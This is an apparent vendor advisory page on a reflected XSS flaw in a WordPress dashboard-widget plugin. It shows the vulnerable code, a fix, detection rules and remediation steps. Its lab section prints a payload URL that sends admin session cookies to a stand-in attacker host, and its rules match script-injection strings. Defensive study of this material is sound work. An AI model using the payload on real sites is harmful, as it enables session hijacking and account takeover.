CVE-2024-56024
Executive Summary
CVE-2024-56024 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Custom Dashboard Widget by DuoGeek, affecting all versions up to and including 1.0.0. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the WordPress admin dashboard context. The vulnerability has a CVSS score of 7.1 (High), but the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress admin panel or directly from the repository are at risk. Since no patch is available, the supply chain risk is elevated—users must manually remove the plugin. There is no known compromise of the plugin’s distribution channel, but the lack of a fix increases the attack surface for any site still running the vulnerable version.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., admin dashboard).
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Reflected XSS in a WordPress admin context can lead to privilege escalation if an admin user is targeted.
Deep Dive & Mechanics
The vulnerability resides in the create-custom-dashboard-widget plugin, which allows administrators to create custom dashboard widgets. The plugin does not sanitize or escape user-supplied input when rendering error messages or other dynamic content. An attacker can craft a URL containing malicious JavaScript in a parameter (e.g., ?page=create-custom-dashboard-widget&error=<script>alert(1)</script>). When a logged-in admin visits this URL, the script executes in the context of the WordPress admin dashboard.
Root Cause: The plugin uses echo $_GET['error'] or similar unsanitized output without applying WordPress’s esc_html() or wp_kses() functions.
Attack Flow:
- Attacker crafts a malicious link:
https://target.com/wp-admin/admin.php?page=create-custom-dashboard-widget&error=<script>/* payload */</script> - Attacker sends the link to a logged-in admin (via email, social engineering, etc.).
- Admin clicks the link, and the script executes in the admin dashboard.
- The script can steal session cookies, perform actions on behalf of the admin, or inject further malicious content.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.0.0):
// In create-custom-dashboard-widget.php
if ( isset( $_GET['error'] ) ) {
echo '<div class="error">' . $_GET['error'] . '</div>';
}
Patched Code (hypothetical fix):
if ( isset( $_GET['error'] ) ) {
echo '<div class="error">' . esc_html( $_GET['error'] ) . '</div>';
}
The fix uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress 6.x with the Custom Dashboard Widget plugin v1.0.0 on a local lab (e.g., using Docker or XAMPP).
- Craft Payload: Create a URL with a reflected XSS payload:
http://localhost/wp-admin/admin.php?page=create-custom-dashboard-widget&error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to a simulated admin user (e.g., via a phishing email).
- Execute: When the admin clicks the link, the script executes and exfiltrates the session cookie to the attacker’s server.
Blue Team (Defense & Detection)
- Monitor Logs: Look for unusual
admin.phprequests witherrorparameters containing<script>oronerrortags. - WAF Rules: Deploy a Web Application Firewall rule to block requests containing
error=<scriptin the query string. - User Training: Educate admins not to click suspicious links, especially those containing
wp-adminURLs with unusual parameters.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin.phpwith aerrorparameter containing HTML/JavaScript tags. - Outbound connections to unknown domains from the WordPress admin dashboard.
- HTTP requests to
- File IOCs:
- Presence of the plugin directory:
/wp-content/plugins/create-custom-dashboard-widget/ - Version string in plugin file:
Version: 1.0.0
- Presence of the plugin directory:
- Log IOCs:
- Access logs showing
admin.php?page=create-custom-dashboard-widget&error=<script> - Error logs with unescaped HTML output.
- Access logs showing
Detection Engineering
YARA Rule
rule Detect_CVE_2024_56024_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CVE-2024-56024 in WordPress Custom Dashboard Widget plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56024"
strings:
$xss_payload = /error=<[^>]*script/i
$plugin_path = /wp-admin\/admin\.php\?page=create-custom-dashboard-widget/i
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Custom Dashboard Widget Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-56024 in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- 'page=create-custom-dashboard-widget'
- 'error=<'
condition: selection
falsepositives:
- Legitimate use of error parameter with non-malicious content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56024 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=create-custom-dashboard-widget"; http_uri; content:"error=<"; http_uri; pcre:"/error=<[^>]*script/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable and remove the Custom Dashboard Widget plugin from all WordPress installations.
- Scan for any unauthorized admin accounts or suspicious activity that may have resulted from exploitation.
- Rotate all admin session cookies and API keys.
Long-term Fix:
- Since no patch is available, consider using an alternative dashboard widget plugin that is actively maintained and follows secure coding practices.
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Enforce Content Security Policy (CSP) headers in WordPress to mitigate XSS impact.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Monitor WordPress admin access logs for unusual
errorparameter usage.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.